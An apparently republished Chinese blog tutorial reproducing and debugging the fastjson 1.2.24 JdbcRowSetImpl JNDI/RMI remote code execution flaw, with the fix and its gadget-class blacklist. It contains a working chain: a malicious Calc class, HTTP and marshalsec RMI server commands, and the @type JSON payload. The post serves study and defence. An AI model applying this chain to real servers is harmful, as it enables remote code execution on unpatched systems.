如何進行fastjson1.2.24復現與分析

這期內容當中小編將會給大家帶來有關如何進行fastjson1.2.24復現與分析，文章內容豐富且以專業的角度為大家分析和敘述，閱讀完這篇文章希望大家可以有所收獲。

靶場搭建

使用idea maven項目創建，在pom中導入fastjson的坐標。（因為本文復現1.2.24的rce，所以版本要小于1.2.24，本文采
取1.2.23版本坐標）。

導入之后在右邊點擊maven圖標導入。

坑點

其中環境有一個非常細小的點，可以說是個大坑，我調試了很久，之前的報錯如下：

1、rmi+jndi環境：java.sql.SQLException: JdbcRowSet (連接) JNDI 無法連接
2、ldap+jndi環境：java.lang.ClassCastException: javax.naming.Reference cannot be
cast to javax.sql.DataSource

后來才發現是java的環境沒有配置對，雖然都是jdk1.8，但是復現的環境采用1.8.0_102,之前的環境1.8.0_221沒有復現成 功。因為JDK8u113 之后，系統屬性 com.sun.jndi.rmi.object.trustURLCodebase 、
com.sun.jndi.cosnaming.object.trustURLCodebase的默認值變為false，即默認不允許RMI、cosnaming從遠程的 Codebase加載Reference工廠類。

漏洞復現

一、準備被遠程下載的class文件

這邊簡單彈個計算器，也可以反彈shell

package com.v1rus；
public class Calc{public Calc(){try{Runtime.getRuntime().exec("calc");}catch (Exception e){e.printStackTrace();}}public static void main(String[] argv){Calc c = new Calc();}}

命令行輸入 javac Calc.java ，在當前文件夾下會生成Calc.class文件。

二、 http服務

可以簡單的用python3在當前Calc.class文件的文件夾下起http服務

python -m http.server 8088

三、RMI服務

使用marshalsec起rmi服務

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.249.156:8088/#Calc" 8

簡而言之就是將class文件放到了http服務上，再用rmi服務綁定該class文件，并將rmi服務的端口應用在8888端口上。

漏洞分析

fastjson在解析json的過程中，支持使用autoType來實例化某一個具體的類，并調用該類的set/get方法來訪問屬性。通過查找代碼中相關的方法，即可構造出一些惡意利用鏈。

首先放上服務端使用的poc demo：

package com.v1rus;
    import com.alibaba.fastjson.JSON;
    public class Test {
    public static void main(String[] args) {
    String v1rus = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://192.168.249.15
    JSON.parseObject(v1rus);}}

一、熟悉fastjson工作流程

我們的poc中用到的類是

com.sun.rowset.JdbcRowSetImpl

Exception in thread "main" com.alibaba.fastjson.JSONException: set property error, autoCommit
at com.alibaba.fastjson.parser.deserializer.FieldDeserializer.setValue(FieldDeserializer.java:131)
at com.alibaba.fastjson.parser.deserializer.DefaultFieldDeserializer.parseField(DefaultFieldDeserializer.j
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseField(JavaBeanDeserializer.java:722)
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:568)
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseRest(JavaBeanDeserializer.java:877)
at com.alibaba.fastjson.parser.deserializer.FastjsonASMDeserializer_1_JdbcRowSetImpl.deserialze(Unknown So
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:183)
at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:368)
at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1327) at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1293)
at com.alibaba.fastjson.JSON.parse(JSON.java:137) at com.alibaba.fastjson.JSON.parse(JSON.java:128)
at com.alibaba.fastjson.JSON.parseObject(JSON.java:201) at com.v1rus.Test.main(Test.java:8)

我們直接進入 com.alibaba.fastjson.JSON 這個類中，并在parseObject函數上面下斷點。

最后會跟到這個方法上。通過DefaultJSONParser類去parse我們傳入的字符串

跟進74行的parse代碼。這里是根據JSONLexer的token為12到case的判斷，進入關鍵函數。

根據lexer.token()方法返回token的值，這里是12，所以進入else進行處理。

然后進入while(true)循環，第一步驟就是lexer.skipWhitespace，跟進去查看方法

因而返回的是 “ 號，所以可以進入if判斷，根據變量名我們也可以得知，scanSymbol這個方法返回的是key關鍵字。

（key、value對）

大家可以簡單的跟進

com.alibaba.fastjson.parser.JSONLexerBase#scanSymbol

這個函數走一下流程，最后會通過雙引號的閉合判斷來返回value字符串，這邊返回的就是第一個字符串 @type

繼續往下走到了這里，將key和全局靜態常量作比較看是否為 @type ，如果是的話，進入if判斷。

跟進 com.alibaba.fastjson.util#loadClass ，這里面并沒有做什么黑名單的過濾就講這個類對象返回了。

上面那行代碼，跟進分析

判斷是類名返回

跟進方法分析返回

FastJsonASMDeserializer_1_JdbcRowSetImpl

再跟進deserialze后繼續往下調試，進入setDataSourceName方法，將dataSourceName值設置為目標RMI服務的地址

一路跟到parseField方法

調用smartMatch方法來處理我們傳入的key值，跟進這個方法

之后回跟到

((FieldDeserializer)fieldDeserializer).parseField(parser, object, objectType,
fieldValues);這行代碼，進入FieldDeserializer的parseField方法。進行一些Field的賦值操作。

再跟進

com.alibaba.fastjson.parser.deserializer.FieldDeserializer#setValue

方法，根據fieldInfo.fieldClass判斷該類，最后進入箭頭指向的else體，通過反射調用setAutoCommit關鍵方法。嘿嘿，接下來不是為所欲為。

這個jdk自帶的類必須要先獲得一個connection，如果沒有的話先執行connect方法。我們進去看看里面有什么。

因為我們在前面通過setDataSourceName()方法設置了dataSourceName的值，所以進入esle if通過lookup方法去獲取

dataSource。而rmi（java遠程方法調用機制）的主角就是這個方法，如果lookup里面傳入的參數可控，就可以指向我們所構造的rmi服務，那么就有很大的可能被攻擊。（InitialContext
是一個實現了Context接口的類。使用這個類作為JNDI命名服務的入口點。）

這里也簡單提一句JNDI和RMI關系，以便更好理解。簡單來說，JNDI (Java Naming and Directory
Interface)是一組應用程序接口。JNDI底層支持RMI遠程對象，RMI注冊的服務可以通過JNDI接口來訪問和調用。JNDI接口在初始化時，可以將RMI
URL作為參數傳入，而JNDI注入就出現在客戶端的lookup()函數中。

用referenceWrapper包裝reference類，注冊在jndi的rmi服務實現上，這里rmi服務器綁定的類并沒有實現相應的接口，而是通過Refernces類來綁定過一個外部的遠程對象。（這里先提及一下，后面會詳細說明）一路跟進到這個最終的方法，該方法執行完就會加載完遠程類實現rce。可以看到這里的var3是RegistryContext類，調用lookup函數。

跟進去時候傳入的這個參數是Calc也就是/后面的請求文件，不為空之后調用this.registry(RegistryImpl_Stub，stub和skel的概念是相對而言的，并不只存在于服務端和客戶端之間)的lookup方法，是我們可控的，所以就造成了JNDI注入漏洞。

繼續跟進marshelsec可能會出現這樣的錯誤:

java.net.SocketTimeoutException: Read timed outat java.net.SocketInputStream.socketRead0(Native Method)at java.net.SocketInputStream.socketRead(Unknown Source)at java.net.SocketInputStream.read(Unknown Source)at java.net.SocketInputStream.read(Unknown Source)at java.io.BufferedInputStream.fill(Unknown Source)at java.io.BufferedInputStream.read(Unknown Source)at java.io.FilterInputStream.read(Unknown Source)at marshalsec.jndi.RMIRefServer.doMessage(RMIRefServer.java:221)at marshalsec.jndi.RMIRefServer.run(RMIRefServer.java:171)at marshalsec.jndi.RMIRefServer.main(RMIRefServer.java:117)

原因是網絡讀取數據超時，我們跟進方法的同時加長的數據傳輸的時間，等待超時拋出錯誤。至此利用的部分已經結束。

疑惑

因為JNDI注入中RMI服務器最終執行遠程方法，但是目標服務器lookup()一個惡意的RMI服務地址，反而是目標服務器執行了。那么究竟是什么原因？

在JNDI服務中，RMI服務端除了直接綁定遠程對象之外，還可以通過Reference類來綁定一個外部的遠程對象（當前名稱目錄系統之外的對象）。綁定了Reference之后，服務端會先通過Referenceable.getReference()獲取綁定對象的引用，并且在目錄中保存。當客戶端在lookup()查找這個遠程對象時，客戶端會獲取相應的object
factory，最終通過factory類將reference轉換為具體的對象實例。

簡而言之，在Server綁定Reference時，這個惡意對象是不在Server上的，Reference指向某個地址，Client會去這個地址

取出對象并在Client實例化。

總結

攻擊者準備rmi服務和web服務，將rmi絕對路徑注入到lookup方法中，受害者JNDI接口會指向攻擊者控制rmi服務器，JNDI接口向攻擊者控制web服務器遠程加載惡意代碼，執行構造函數造成RCE。

漏洞修復

從1.2.25開始對這個漏洞進行了修補，修補方式是會在

com.alibaba.fastjson.parser.DefaultJSONParser#parseObject

方法中調用

com.alibaba.fastjson.parser.ParserConfig#checkAutoType

來檢查我們傳入的類是不是在黑名單中，也就是將TypeUtils.loadClass替換為checkAutoType()函數:

只有通過了白名單的校驗才會調用loadClass。

但是這里同時使用白名單和黑名單的方式來限制反序列化的類，只有當白名單不通過時才會進行黑名單判斷，相當于白

名單并沒有真正起到白名單的作用。我們仍然可以進入后續的流程來進行繞過。

黑名單里面禁止了一些常見的反序列化漏洞利用鏈：

bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework

Fastjson主要還是利用了autotype功能實現"@type"字段指定反序列化的Class類型，所以盡量關閉autotype就沒有問題。雖然Fastjson在1.2.24之后實現了一套黑名單，但還是存在被繞過風險。

rmi在fastjson中的利用只是jndi的一種手段，還有ldap等。是在rmi服務器上綁定reference對象，與rmi本身的反序列話不是很有關系。它將從攻擊者控制的服務器獲取工廠類，然后實例化工廠以返回
JNDI所引用的對象的新實例。

上述就是小編為大家分享的如何進行fastjson1.2.24復現與分析了，如果剛好有類似的疑惑，不妨參照上述分析進行理解。如果想知道更多相關知識，歡迎關注億速云行業資訊頻道。